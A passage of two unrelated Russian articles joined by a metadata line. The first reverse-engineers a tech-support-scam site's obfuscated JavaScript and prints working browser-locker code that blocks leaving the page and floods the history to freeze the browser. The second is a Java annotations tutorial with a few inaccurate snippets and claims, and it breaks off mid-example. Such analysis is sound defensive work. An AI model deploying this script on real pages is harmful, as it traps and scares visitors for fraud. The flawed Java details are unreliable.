_0x2e1ee7;};window[_0xf45b('0x3')]=function(){if(confirm('\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x52\x44\x4e\x2f\x59\x61\x68\x4c\x6f\x76\x65\x72\x2e\x77\x6f\x72\x6d\x21\x30\x35\x35\x42\x43\x43\x41\x43\x39\x46\x45\x43\x20\x49\x6e\x66\x65\x63\x74\x69\x6f\x6e\x0a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x0a'+_0x454dc6)){var _0x5a0f53='';for(var _0x2f7f0c=0x0;_0x2f7f0c<0x5f5e100;_0x2f7f0c++){_0x5a0f53=_0x5a0f53+_0x2f7f0c[_0xf45b('0x4')]();history[_0xf45b('0x5')](0x0,0x0,_0x5a0f53);}}else{var _0x5a0f53='';for(var _0x2f7f0c=0x0;_0x2f7f0c<0x5f5e100;_0x2f7f0c++){_0x5a0f53=_0x5a0f53+_0x2f7f0c[_0xf45b('0x4')]();history[_0xf45b('0x5')](0x0,0x0,_0x5a0f53);}}};}ch(text);
```
Расшифровка скрипта
-------------------
Разделим его на части. Первая часть — открытый текст, выводящийся во всплывающем диалоговом окне. Вероятно, при желании сообщение легко отредактировать (например, добавив номер телефона).
Затем идёт текст сообщения в виде строкового массива. Разобьём на строки и посмотрим, с чем имеем дело:
```
var _0x45bf = [
'\x70\x75\x73\x68\x53\x74\x61\x74\x65',
'\x6f\x6e\x62\x65\x66\x6f\x72\x65\x75\x6e\x6c\x6f\x61\x64',
'\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a' +
'\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a' +
'\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x52\x44\x4e\x2f\x59\x61\x68\x4c\x6f\x76\x65\x72' +
'\x2e\x77\x6f\x72\x6d\x21\x30\x35\x35\x42\x43\x43\x41\x43\x39\x46\x45\x43\x20\x49\x6e' +
'\x66\x65\x63\x74\x69\x6f\x6e\x0a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a' +
'\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a' +
'\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x0a',
'\x72\x65\x74\x75\x72\x6e\x56\x61\x6c\x75\x65',
'\x6f\x6e\x6c\x6f\x61\x64',
'\x74\x6f\x53\x74\x72\x69\x6e\x67'
];
```
Это точно строковые значения, но на первый взгляд текст выглядит белибердой. Дело в том, что каждый символ зашифрован с помощью управляющей последовательностью Unicode. JS-интерпретатор радостно их отпарсит и снова превратит в символы, но для людей это не такая простая задача. Немного кода на Python, и можно расшифровать эти строки:
```
var _0x45bf = [
'pushState',
'onbeforeunload',
'*************************************************\n' +
'RDN/YahLover.worm!055BCCAC9FEC Infection\n' +
'*************************************************\n\n',
'returnValue',
'onload',
'toString'
];
```
Это имена JS-функций, а также имя фиктивного зловреда. Должен сказать, что скрипт использует очень хитрые имена переменных вроде `_0x45bf`, что затрудняет анализ. Такой формат выбран нарочно, чтобы имена выглядели как шестнадцатеричные константы, но это лишь идентификаторы: знак \_ в начале говорит о том, что они парсятся JS-интерпретатором. Далее я переименую эти идентификаторы в более читабельные на основе примерных предположений об их назначении.
За массивом строковых значений идёт немедленно вызываемая анонимная функция:
```
(function(_0x5954e7,_0x10ca6d){
var _0x4d8f25 = function(_0x3abcd2) {
while(--_0x3abcd2) {
_0x5954e7['\x70\x75\x73\x68'](_0x5954e7['\x73\x68\x69\x66\x74']());
}
};
_0x4d8f25(++_0x10ca6d);
}(_0x45bf,0x145));
```
Я снова отформатировал скрипт, чтобы сделать его читабельным.
Как видите, здесь снова используется сокрытие имён переменных. Здесь много выражений вроде `_0x5954e7['\x70\x75\x73\x68']()` (после преобразования: `list['push']()`). На самом деле это вызовы методов. Особенность JS заключается в том, что его объекты во многом схожи со словарями, и вызов вида `foo['bar']()` полностью аналогичен `foo.bar()`. Хотя первая версия корректна, вы редко встретите такое в обычном JS-коде, так что она работает как дополнительный уровень обфускации.
После переименования переменных, расшифровки строковых значений и преобразования вызовов методов получилась более читабельная версия кода:
```
(function(list, N) {
var rotateList = function(NplusOne) {
while(--NplusOne) {
list.push(list.shift());
}
};
rotateList(++N);
}(stringList, 325));
```
Главная цель этой функции — перемешать список вышеприведённых строковых значений. Во внутреннем цикле несколько раз вызывается `list.push(list.shift())`. В JS `shift` убирает передний элемент списка, а `push` добавляет его в конец. Иными словами, одна итерация цикла просто переставляет все записи на одну позицию влево.
Вызываемая функция применяется к строковому списку и преобразует его 325 раз. Поскольку список содержит шесть элементов, то через каждые шесть итераций мы получаем исходный список. `325 mod 6 = 1` означает, что эта часть кода всего лишь сдвигает строковые значения на одну позицию влево. Тогда список выглядит так:
```
var shuffledStringList = [
'onbeforeunload',
wormName,
'returnValue',
'onload',
'toString',
'pushState'
];
```
Для простоты я опустил строку, идентифицирующую зловред как `wormName`.
После перемешивания скрипт определяет такую функцию:
```
var _0xf45b=function(_0xc97b12,_0x180ff3) {
_0xc97b12=_0xc97b12-0x0;
var _0x2933ba=_0x45bf[_0xc97b12];
return _0x2933ba;
};
```
Забавно, что везде, где можно, используются шестнадцатеричные константы, даже когда это совершенно бессмысленно. Например, `0x0`.
Взгляните на расшифрованную версию:
```
function indexStringList(idx) {
idx = idx - 0;
var result = shuffledStringList[idx];
return result;
};
```
Функция проста: она лишь возвращает из массива `shuffledStringList` запись с определённым индексом. Для дополнительного запутывания индекс передаётся в качестве строкового значения и преобразуется в число с помощью выражения `idx = idx - 0;`. Это работает благодаря такому свойству JS, как автоматическое преобразование строковых в десятичные значения, когда они используются в арифметических операциях.
Затем идёт основная входная функция скрипта. После переформатирования получаем:
```
function ch(_0x454dc6){
window[_0xf45b('0x0')] = function(_0x4a502f){
var _0x2e1ee7=_0xf45b('0x1')+_0x454dc6;
_0x4a502f[_0xf45b('0x2')]=_0x2e1ee7;
return _0x2e1ee7;
};
window[_0xf45b('0x3')] = function() {
if(confirm(wormName+_0x454dc6)){
var _0x5a0f53='';
for (var _0x2f7f0c=0x0;_0x2f7f0c<0x5f5e100;_0x2f7f0c++) {
_0x5a0f53=_0x5a0f53+_0x2f7f0c[_0xf45b('0x4')]();
history[_0xf45b('0x5')](0x0,0x0,_0x5a0f53);
}
} else {
var _0x5a0f53='';
for (var _0x2f7f0c=0x0;_0x2f7f0c<0x5f5e100;_0x2f7f0c++) {
_0x5a0f53=_0x5a0f53+_0x2f7f0c[_0xf45b('0x4')]();
history[_0xf45b('0x5')](0x0,0x0,_0x5a0f53);
}
}
};
}
ch(text);
```
Первое, что бросается в глаза, — это обилие вызовов наподобие `_0xf45b('0x0')`. Это вызовы функции `indexStringList`, которую мы уже видели выше. То есть просто возвращаются значения из перемешанного списка строковых значений, так что можно напрямую заменить их финальными значениями. `_0xf45b('0x0')` превратится в `onbeforeunload` и т. д.
В этой части кода также используются значения вроде `window[_0xf45b('0x0')]`, представляющие собой скрытые вызовы методов глобального экземпляра `window`. Учитывая эти трансформации, можно переписать код в явном виде:
```
function main(messageBody) {
window.onbeforeunload = function(event) {
var dialogText = wormName + messageBody;
event.returnValue = dialogText;
return dialogText;
};
window.onload = function() {
if (confirm(wormName + messageBody)) {
var url = '';
for (var i = 0; i < 100000000; i++) {
url = url + i.toString();
history.pushState(0, 0, url);
}
} else {
var url = '';
for (var i = 0; i < 100000000; i++) {
url = url + i.toString();
history.pushState(0, 0, url);
}
}
};
}
main(text);
```
Теперь можно вычислить, что же делает этот JS-скрипт. А делает он три вещи:
* Регистрирует обработчик `onbeforeunload`, вызываемый браузером, когда пользователь пытается закрыть вкладку или уйти с сайта. После этого скрипт показывает всплывающее окно, чтобы не дать жертве уйти. Неясно, почему браузер позволяет это сделать.
* Затем показывает модальный диалог `confirm`, предупреждающий пользователя о возможном заражении и звонке на горячую линию. Любопытно, что он не использует более популярное решение `alert`. Главное отличие заключается в том, что всплывающее окно `confirm` позволяет выбрать между OK и Cancel, хотя скрипту плевать, куда вы кликнете. Возможно, это слабая попытка обмануть блокировщики рекламы и антивредоносные плагины.
* Вне зависимости от того, на какую кнопку нажал пользователь, скрипт запускает длинный цикл, циклически генерирующий числовой URL и добавляющий его в историю браузера. История заполняется ссылками на мошеннический сайт, что делает бесполезным нажатия на кнопку «Назад». Это ещё один способ не дать жертве уйти.
После удаления обфускации мы получаем довольно простой скрипт. Он всего лишь доставляет пугающее голосовое сообщение и заставляет пользователя оставаться на сайте достаточно долго, чтобы прочитать текст (и, быть может, позвонить по телефону).
Уверен, что этот скрипт не мог запустить в мой компьютер реального зловреда. Также стало понятно, почему подвис браузер: Chrome плохо переваривает слишком длинные URL’ы и заспамливание истории.
Заключительные мысли
--------------------
Хотя фальшивую службу поддержки нельзя целиком приравнять к полноценной зловредной атаке, в запутывание JS-скрипта на этом сайте было вложено на удивление много сил. Оригинальный код умещается менее чем в 30 строк, на обратный инжиниринг ушла пара часов. Учитывая простую структуру сайта и чистое форматирование кода, я предполагаю, что скрипт написал кто-то хорошо разбирающийся в веб-разработке. Вероятно, автор просто забыл добавить номер телефона, чтобы его мошенническая схема действительно сработала. Либо это критический недосмотр, либо мне попалась ранняя тестовая версия того, что позднее превратится в полноценный мошеннический сайт.
Несколько разочаровывает, что для его работы достаточно лишь маленького JS-скрипта и что можно сделать браузер полностью неработоспособным, настолько, что нельзя уйти с сайта и нужно перезапустить приложение. Учитывая, сколько ежедневно появляется рекламы, в ней очень легко спрятать 30 строк кода. Странно, что это не происходит гораздо чаще.
В любом случае это было забавно. В следующий раз, когда окажетесь на мошенническом сайте, почему бы не поковыряться в коде и не посмотреть, как он работает? Вы можете узнать для себя что-нибудь интересное.
UPD. В комментариях правильно определили обфускатор — вот ссылка на [Github](https://github.com/javascript-obfuscator/javascript-obfuscator), а разработкой занимается Качалов Тимофей [sanex3339](https://habrahabr.ru/users/sanex3339/) | https://habr.com/ru/post/336232/ | null | ru | null |
# Аннотации в Java и их обработка
Аннотация — это специальная конструкция языка, связанная с классом, методом или переменной, предоставляющая программе дополнительную информацию, на основе которой программа может предпринять дальнейшие действия или реализовать дополнительную функциональность, такую как генерация кода, проверка ошибок и т. д.
Помимо использования стандартных аннотаций из пакета java.lang, о которых мы поговорим далее, можно также создавать свои аннотации и обрабатывать их.
В этой статье мы обсудим назначение стандартных аннотаций, а также рассмотрим на практическом примере создание и обработку своих аннотаций.
Код примеров вы можете найти на [GitHub](https://github.com/thombergs/code-examples/tree/master/core-java/annotation-processing/introduction-to-annotations).
### Основы аннотаций
Аннотации начинаются с символа `@`. Например, в пакете `java.lang` определены аннотации `@Override` и `@SuppressWarnings`.
Сама по себе аннотация не выполняет никаких действий. Она просто предоставляет информацию, которую можно использовать во время компиляции или в рантайме.
В качестве примера рассмотрим аннотацию `@Override`:
```
public class ParentClass {
public String getName() {...}
}
public class ChildClass extends ParentClass {
@Override
public String getname() {...}
}
```
Аннотация `@Override` используется для обозначения переопределенного метода из базового класса. Приведенная выше программа при компиляции выдаст ошибку, потому что метод `getname()` в классе `ChildClass` аннотирован `@Override`, но в родительском классе `ParentClass` метода `getname()` нет.
Используя аннотацию `@Override` в `ChildClass`, компилятор проверяет, что имя переопределенного метода в дочернем классе совпадает с именем метода в родительском классе.
### Стандартные аннотации
Рассмотрим некоторые из распространенных стандартных аннотаций из пакета `java.lang`. Чтобы увидеть их влияние на поведение компилятора, запускайте примеры из командной строки, поскольку большинство IDE могут подавлять предупреждения.
#### @SuppressWarnings
Аннотация `@SuppressWarnings` используется для подавления предупреждений компилятора. Например, `@SuppressWarnings`("unchecked") отключает предупреждения, связанные с "сырыми" типами (Raw Types).
Давайте рассмотрим пример использования `@SuppressWarnings`:
```
public class SuppressWarningsDemo {
public static void main(String[] args) {
SuppressWarningsDemo swDemo = new SuppressWarningsDemo();
swDemo.testSuppressWarning();
}
public void testSuppressWarning() {
Map testMap = new HashMap();
testMap.put(1, "Item_1");
testMap.put(2, "Item_2");
testMap.put(3, "Item_3");
}
}
```
Если мы запустим компиляцию из командной строки с параметром `-Xlint:unchecked`, то получим следующее сообщение:
```
javac -Xlint:unchecked ./com/reflectoring/SuppressWarningsDemo.java
Warning:
unchecked call to put(K,V) as a member of the raw type Map
```
Это пример легаси кода (до Java 5) — в коллекции мы можем случайно сохранить объекты разных типов. Для проверки подобных ошибок на этапе компиляции, были придуманы обобщенные типы (generics, дженерики). Чтобы этот код компилировался без предупреждений измените строку:
```
Map testMap = new HashMap();
```
на
```
Map testMap = new HashMap<>();
```
Если подобного легаси кода много, то вы вряд ли захотите вносить изменения, поскольку это влечет за собой много регрессионного тестирования. В этом случае к классу можно добавить аннотацию `@SuppressWarning`, чтобы логи не загромождались избыточными предупреждениями.
```
@SuppressWarnings({"rawtypes", "unchecked"})
public class SuppressWarningsDemo {
...
}
```
Теперь при компиляции предупреждений не будет.
#### @Deprecated
Аннотация `@Deprecated` используется для пометки устаревших методов или типов.
IDE автоматически обрабатывают эту аннотацию и обычно отображают устаревший метод зачеркнутым шрифтом, сообщая разработчику, что больше не следует его использовать.
В примере ниже метод `testLegacyFunction()` помечен как устаревший:
```
public class DeprecatedDemo {
@Deprecated(since = "4.5", forRemoval = true)
public void testLegacyFunction() {
System.out.println("This is a legacy function");
}
}
```
В атрибуте `since` этой аннотации содержится версия, с которой элемент объявлен устаревшим, а `forRemoval` указывает, будет ли элемент удален в следующей версии.
Теперь вызов устаревшего метода, вызовет предупреждение во время компиляции, указывая, что лучше этот метод не использовать:
```
./com/reflectoring/DeprecatedDemoTest.java:8: warning: [removal] testLegacyFunction() in DeprecatedDemo has been deprecated and marked for removal
demo.testLegacyFunction();
^
1 warning
```
#### @Override
Мы уже упоминали выше аннотацию `@Override`. Она используется для проверки переопределенных методов во время компиляции на такие ошибки, как опечатки в регистре символов:
```
public class Employee {
public void getEmployeeStatus(){
System.out.println("This is the Base Employee class");
}
}
public class Manager extends Employee {
public void getemployeeStatus(){
System.out.println("This is the Manager class");
}
}
```
Здесь мы хотели переопределить метод `getEmployeeStatus()`, но неправильно написали имя метода. Это может привести к серьезным ошибкам. Приведенная выше программа скомпилируется и запуститься без проблем, не обнаружив эту ошибку при компиляции.
Если добавить аннотацию `@Override` к методу `getemployeeStatus()`, то при компиляции получим следующую ошибку:
```
./com/reflectoring/Manager.java:5: error: method does not override or implement a method from a supertype
@Override
^
1 error
```
#### @FunctionalInterface
Аннотация `@FunctionalInterface` используется для указания того, что в интерфейсе не может быть более одного абстрактного метода. Если абстрактных методов будет больше одного, то компилятор выдаст ошибку. Функциональные интерфейсы появились в Java 8 для реализации лямбда-выражений и гарантии того, что в них не более одного абстрактного метода.
Но и без аннотации `@FunctionalInterface` компилятор выдаст ошибку, если вы включите в интерфейс больше одного абстрактного метода. Так зачем же нужна необязательная аннотация `@FunctionalInterface`?
Давайте рассмотрим следующий пример:
```
@FunctionalInterface
interface Print {
void printString(String testString);
}
```
Если в интерфейс Print мы добавим еще один метод `printString2()`, то компилятор или IDE выдаст ошибку.
А что, если интерфейс Print находится в отдельном модуле и без аннотации `@FunctionalInterface`? Разработчики этого модуля могут легко добавить в интерфейс еще один метод и сломать ваш код. Добавив аннотацию `@FunctionalInterface`, мы сразу получим предупреждение в IDE:
```
Multiple non-overriding abstract methods found in interface com.reflectoring.Print
```
Поэтому рекомендуется всегда использовать аннотацию `@FunctionalInterface`, если интерфейс должен использоваться в качестве лямбды.
#### @SafeVarargs
Функциональность varargs позволяет создавать методы с переменным количеством аргументов. До Java 5 единственной возможностью создания методов с необязательными параметрами было создание нескольких методов, каждый из которых с разным количеством параметров. Varargs позволяет создать один метод с переменным количеством параметров с помощью следующего синтаксиса:
```
// можно написать так:
void printStrings(String... stringList)
// вместо этого мы делаем:
void printStrings(String string1, String string2)
```
Однако при использовании в аргументах метода обобщенных типов выдаются предупреждения. Аннотация `@SafeVarargs` позволяет подавить их:
```
package com.reflectoring;
import java.util.Arrays;
import java.util.List;
public class SafeVarargsTest {
private void printString(String test1, String test2) {
System.out.println(test1);
System.out.println(test2);
}
private void printStringVarargs(String... tests) {
for (String test : tests) {
System.out.println(test);
}
}
private void printStringSafeVarargs(List... testStringLists) {
for (List testStringList : testStringLists) {
for (String testString : testStringList) {
System.out.println(testString);
}
}
}
public static void main(String[] args) {
SafeVarargsTest test = new SafeVarargsTest();
test.printString("String1", "String2");
test.printString("\*\*\*\*\*\*\*");
test.printStringVarargs("String1", "String2");
test.printString("\*\*\*\*\*\*\*");
List testStringList1 = Arrays.asList("One", "Two");
List testStringList2 = Arrays.asList("Three", "Four");
test.printStringSafeVarargs(testStringList1, testStringList2);
}
}
```
Методы `printString()` и `printStringVarargs()` приводят к одинаковому результату. Но при компиляции для метода `printStringSafeVarargs()` выдается предупреждение, поскольку в нем используются обобщенные типы:
```
javac -Xlint:unchecked ./com/reflectoring/SafeVarargsTest.java
./com/reflectoring/SafeVarargsTest.java:28: warning: [unchecked] Possible heap pollution from parameterized vararg type List
private void printStringSafeVarargs(List... testStringLists) {
^
./com/reflectoring/SafeVarargsTest.java:52: warning: [unchecked] unchecked generic array creation for varargs parameter of type List[]
test.printStringSafeVarargs(testStringList1, testStringList2);
^
2 warnings
```
Добавив аннотацию `@SafeVarargs`, мы можем избавиться от этого предупреждения:
```
@SafeVarargs
private void printStringSafeVarargs(List... testStringLists) {
```
### Пользовательские аннотации
Мы можем создавать свои аннотации, например, для реализации следующей функциональности:
1. Уменьшение дублирования кода.
2. Автоматизация генерации бойлерплейт кода.
3. Отлов ошибок во время компиляции, например, потенциальные Null Pointer Exception.
4. Настройка поведения в рантайме на основе наличия аннотации.
Для примера рассмотрим аннотацию `@Company`:
```
@Company{
name="ABC"
city="XYZ"
}
public class CustomAnnotatedEmployee {
...
}
```
При создании экземпляров класса `CustomAnnotatedEmployee` все экземпляры будут содержать одно и то же название компании (name) и города (city) — больше не нужно добавлять эту информацию в конструктор.
Создать пользовательскую аннотацию можно с помощью ключевого слова `@interface`:
```
public @interface Company{
}
```
Чтобы указать информацию об области действия аннотации и о типах элементов, к которым она может быть применена, используются мета-аннотации.
Например, чтобы указать, что аннотация применяется только к классам, используется аннотация `@Target(ElementType.TYPE)`. А мета-аннотация `@Retention(RetentionPolicy.RUNTIME)` указывает, что аннотация должна быть доступна в рантайме.
С мета-аннотациями наша аннотация `@Company` выглядит следующим образом:
```
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface Company{
}
```
Далее добавим атрибуты в нашу аннотацию: имя (`name`) и город (`city`). Добавляем их, как показано ниже:
```
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface Company{
String name() default "ABC";
String city() default "XYZ";
}
```
Создадим класс `CustomAnnotatedEmployee` и применим к нему аннотацию `@Company`:
```
@Company
public class CustomAnnotatedEmployee {
private int id;
private String name;
public CustomAnnotatedEmployee(int id, String name) {
this.id = id;
this.name = name;
}
public void getEmployeeDetails(){
System.out.println("Employee Id: " + id);
System.out.println("Employee Name: " + name);
}
}
```
Прочитать аннотацию `@Company` в рантайме можно следующим образом:
```
import java.lang.annotation.Annotation;
public class TestCustomAnnotatedEmployee {
public static void main(String[] args) {
CustomAnnotatedEmployee employee = new CustomAnnotatedEmployee(1, "John Doe");
employee.getEmployeeDetails();
Annotation companyAnnotation = employee
.getClass()
.getAnnotation(Company.class);
Company company = (Company)companyAnnotation;
System.out.println("Company Name: " + company.name());
System.out.println("Company City: " + company.city());
}
}
```
Результат будет следующий:
```
Employee Id: 1
Employee Name: John Doe
Company Name: ABC
Company City: XYZ
```
Анализируя аннотацию в рантайме, мы можем получить доступ к некоторой общей информации обо всех сотрудниках и избежать дублирования кода.
### Мета-аннотации
Мета-аннотации — это аннотации, применяемые к другим аннотациям для предоставления информации об аннотации компилятору или среде выполнения.
Мета-аннотации могут ответить на следующие вопросы об аннотации:
1. Может ли аннотация наследоваться дочерними классами?
2. Должна ли аннотация отображаться в документации?
3. Можно ли применить аннотацию несколько раз к одному и тому же элементу?
4. К какому типу элементов можно применить аннотацию: к классу, методу, полю и т.д.?
5. Обрабатывается ли аннотация во время компиляции или в рантайме?
#### @Inherited
По умолчанию аннотация не наследуется от родительского класса к дочернему. Мета-аннотация `@Inherited` позволяет ей наследоваться:
```
@Inherited
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface Company{
String name() default "ABC";
String city() default "XYZ";
}
@Company
public class CustomAnnotatedEmployee {
private int id;
private String name;
public CustomAnnotatedEmployee(int id, String name) {
this.id = id;
this.name = name;
}
public void getEmployeeDetails(){
System.out.println("Employee Id: " + id);
System.out.println("Employee Name: " + name);
}
}
public class CustomAnnotatedManager extends CustomAnnotatedEmployee{
public CustomAnnotatedManager(int id, String name) {
super(id, name);
}
}
```
Поскольку `CustomAnnotatedEmployee` аннотирован `@Company`, а `CustomAnnotatedManager` наследуется от него, то нет необходимости ставить аннотацию на класс `CustomAnnotatedManager`.
Давайте проверим это.
```
public class TestCustomAnnotatedManager {
public static void main(String[] args) {
CustomAnnotatedManager manager = new CustomAnnotatedManager(1, "John Doe");
manager.getEmployeeDetails();
Annotation companyAnnotation = manager
.getClass()
.getAnnotation(Company.class);
Company company = (Company)companyAnnotation;
System.out.println("Company Name: " + company.name());
System.out.println("Company City: " + company.city());
}
}
```
Аннотация `@Company` доступна, хотя мы не указывали ее явно для класса `Manager`.
#### @Documented
@Documented указывает, что аннотация должна присутствовать в JavaDoc.
По умолчанию информация об аннотациях не отображается в JavaDoc-документации, но если использовать @Documented, она появится:
```
@Inherited
@Documented
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface Company{
String name() default "ABC";
String city() default "XYZ";
}
```
#### @Repeatable
`@Repeatable` позволяет использовать аннотацию несколько раз на одном методе, классе или поле. Для использования `@Repeatable` — аннотации необходимо создать аннотацию-контейнер, которая хранит значение в виде массива исходных аннотаций:}
```
@Target(ElementType.TYPE)
@Repeatable(RepeatableCompanies.class)
@Retention(RetentionPolicy.RUNTIME)
public @interface RepeatableCompany {
String name() default "Name_1";
String city() default "City_1";
}
```
```
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface RepeatableCompanies {
RepeatableCompany[] value() default{};
}
```
Использовать аннотацию можно следующим образом:
```
@RepeatableCompany
@RepeatableCompany(name = "Name_2", city = "City_2")
public class RepeatedAnnotatedEmployee {
}
```
Протестируем:
```
public class TestRepeatedAnnotation {
public static void main(String[] args) {
RepeatableCompany[] repeatableCompanies = RepeatedAnnotatedEmployee.class
.getAnnotationsByType(RepeatableCompany.class);
for (RepeatableCompany repeatableCompany : repeatableCompanies) {
System.out.println("Name: " + repeatableCompany.name());
System.out.println("City: " + repeatableCompany.city());
}
}
}
```
Получим следующий результат, отображающий значение нескольких аннотаций `@RepeatableCompany`:
```
Name: Name_1
City: City_1
Name: Name_2
City: City_2
```
#### @Target
`@Target` определяет типы элементов, к которым может применяться аннотация. Например, в приведенном выше примере аннотация `@Company` была определена как TYPE, и поэтому может быть применена только к классам.
Давайте попробуем применить аннотацию `@Company` к методу:
```
@Company
public class Employee {
@Company
public void getEmployeeStatus(){
System.out.println("This is the Base Employee class");
}
}
```
В этом случае мы получим ошибку компилятора: `@Company` `not applicable to method`.
Существуют следующие типы целей, названия которых говорят сами за себя:
* `ElementType.ANNOTATION_TYPE`
* `ElementType.CONSTRUCTOR`
* `ElementType.FIELD`
* `ElementType.LOCAL_VARIABLE`
* `ElementType.METHOD`
* `ElementType.PACKAGE`
* `ElementType.PARAMETER`
* `ElementType.TYPE`
#### @Retention
`@Retention` указывает, когда аннотация будет доступна:
* `SOURCE` — аннотация доступна в исходном коде и удаляется после компиляции.
* `CLASS` — аннотация сохраняется в class-файле во время компиляции, но недоступна при выполнении программы.
* `RUNTIME` — аннотация доступна в рантайме.
Если аннотация нужна только для проверки ошибок во время компиляции, как это делает `@Override`, мы используем SOURCE. Если аннотация нужна для обеспечения функциональности в рантайме, например, `@Test` в JUnit, то используем RUNTIME. Давайте поэкспериментируем с разными значениями `RetentionPolicy`:
```
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.CLASS)
public @interface ClassRetention {
}
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.SOURCE)
public @interface SourceRetention {
}
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface RuntimeRetention {
}
```
Создадим класс, который использует все три аннотации:
```
@SourceRetention
@RuntimeRetention
@ClassRetention
public class EmployeeRetentionAnnotation {
}
```
Для проверки доступности аннотаций запустите следующий код:
```
public class RetentionTest {
public static void main(String[] args) {
SourceRetention[] sourceRetention = new EmployeeRetentionAnnotation()
.getClass()
.getAnnotationsByType(SourceRetention.class);
System.out.println("Source Retentions at runtime: " + sourceRetention.length);
RuntimeRetention[] runtimeRetention = new EmployeeRetentionAnnotation()
.getClass()
.getAnnotationsByType(RuntimeRetention.class);
System.out.println("Runtime Retentions at runtime: " + runtimeRetention.length);
ClassRetention[] classRetention = new EmployeeRetentionAnnotation()
.getClass()
.getAnnotationsByType(ClassRetention.class);
System.out.println("Class Retentions at runtime: " + classRetention.length);
}
}
```
Результат будет следующим:
```
Source Retentions at runtime: 0
Runtime Retentions at runtime: 1
Class Retentions at runtime: 0
```
Итак, мы убедились, что в рантайме доступна только RUNTIME-аннотация.
### Классификация аннотаций
Аннотации можно классифицировать по количеству передаваемых в них параметров: без параметров, с одним параметром и с несколькими параметрами.
#### Маркерные аннотации
Маркерные аннотации не содержат никаких членов или данных. Для определения наличия аннотации можно использовать метод `isAnnotationPresent()`.
Например, если бы у нашей компании было несколько клиентов с разными способами передачи данных, мы могли бы аннотировать класс аннотацией, указывающей способ передачи данных:
```
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface CSV {
}
```
Класс `Client` может использовать аннотацию следующим образом:
```
@CSV
public class XYZClient {
...
}
```
Обработать аннотацию можно следующим образом:
```
public class TestMarkerAnnotation {
public static void main(String[] args) {
XYZClient client = new XYZClient();
Class clientClass = client.getClass();
if (clientClass.isAnnotationPresent(CSV.class)){
System.out.println("Write client data to CSV.");
} else {
System.out.println("Write client data to Excel file.");
}
}
}
```
На основании присутствия аннотации `@CSV`, мы можем решить, куда записать информацию — в CSV или в файл Excel. Приведенная выше программа выдаст следующий результат:
```
Write client data to CSV.
```
#### Аннотации с одним значением
Аннотации с одним значением содержат только один атрибут, который принято называть value.
Давайте создадим аннотацию `SingleValueAnnotationCompany` с одним атрибутом `value`:
```
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface SingleValueAnnotationCompany {
String value() default "ABC";
}
```
Создайте класс, использующий аннотацию:
```
@SingleValueAnnotationCompany("XYZ")
public class SingleValueAnnotatedEmployee {
private int id;
private String name;
public SingleValueAnnotatedEmployee(int id, String name) {
this.id = id;
this.name = name;
}
public void getEmployeeDetails(){
System.out.println("Employee Id: " + id);
System.out.println("Employee Name: " + name);
}
}
```
Запустите следующий пример:
```
public class TestSingleValueAnnotatedEmployee {
public static void main(String[] args) {
SingleValueAnnotatedEmployee employee = new SingleValueAnnotatedEmployee(1, "John Doe");
employee.getEmployeeDetails();
Annotation companyAnnotation = employee
.getClass()
.getAnnotation(SingleValueAnnotationCompany.class);
SingleValueAnnotationCompany company = (SingleValueAnnotationCompany)companyAnnotation;
System.out.println("Company Name: " + company.value());
}
}
```
Переданное значение "XYZ" переопределяет значение атрибута аннотации по умолчанию. Результат выглядит следующим образом:
```
Employee Id: 1
Employee Name: John Doe
Company Name: XYZ
```
#### Полные аннотации
Они состоят из нескольких пар "имя-значение". Например, `Company(name = "ABC", city = "XYZ")`. Рассмотрим наш исходный пример Company:
```
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface Company{
String name() default "ABC";
String city() default "XYZ";
}
```
Давайте создадим класс `MultiValueAnnotatedEmployee` со значением параметров, как показано ниже. Значения по умолчанию будут перезаписаны.
```
@Company(name = "AAA", city = "ZZZ")
public class MultiValueAnnotatedEmployee {
}
```
Запустите следующий пример:
```
public class TestMultiValueAnnotatedEmployee {
public static void main(String[] args) {
MultiValueAnnotatedEmployee employee = new MultiValueAnnotatedEmployee();
Annotation companyAnnotation = employee.getClass().getAnnotation(Company.class);
Company company = (Company)companyAnnotation;
System.out.println("Company Name: " + company.name());
System.out.println("Company City: " + company.city());
}
}
```
Результат:
```
Company Name: AAA
Company City: ZZZ
```
### Практический пример
В качестве практического примера обработки аннотаций напишем простой аналог аннотации `@Test` из JUnit. Пометив методы аннотацией `@Test`, мы сможем определить в рантайме, какие методы тестового класса нужно запускать как тесты.
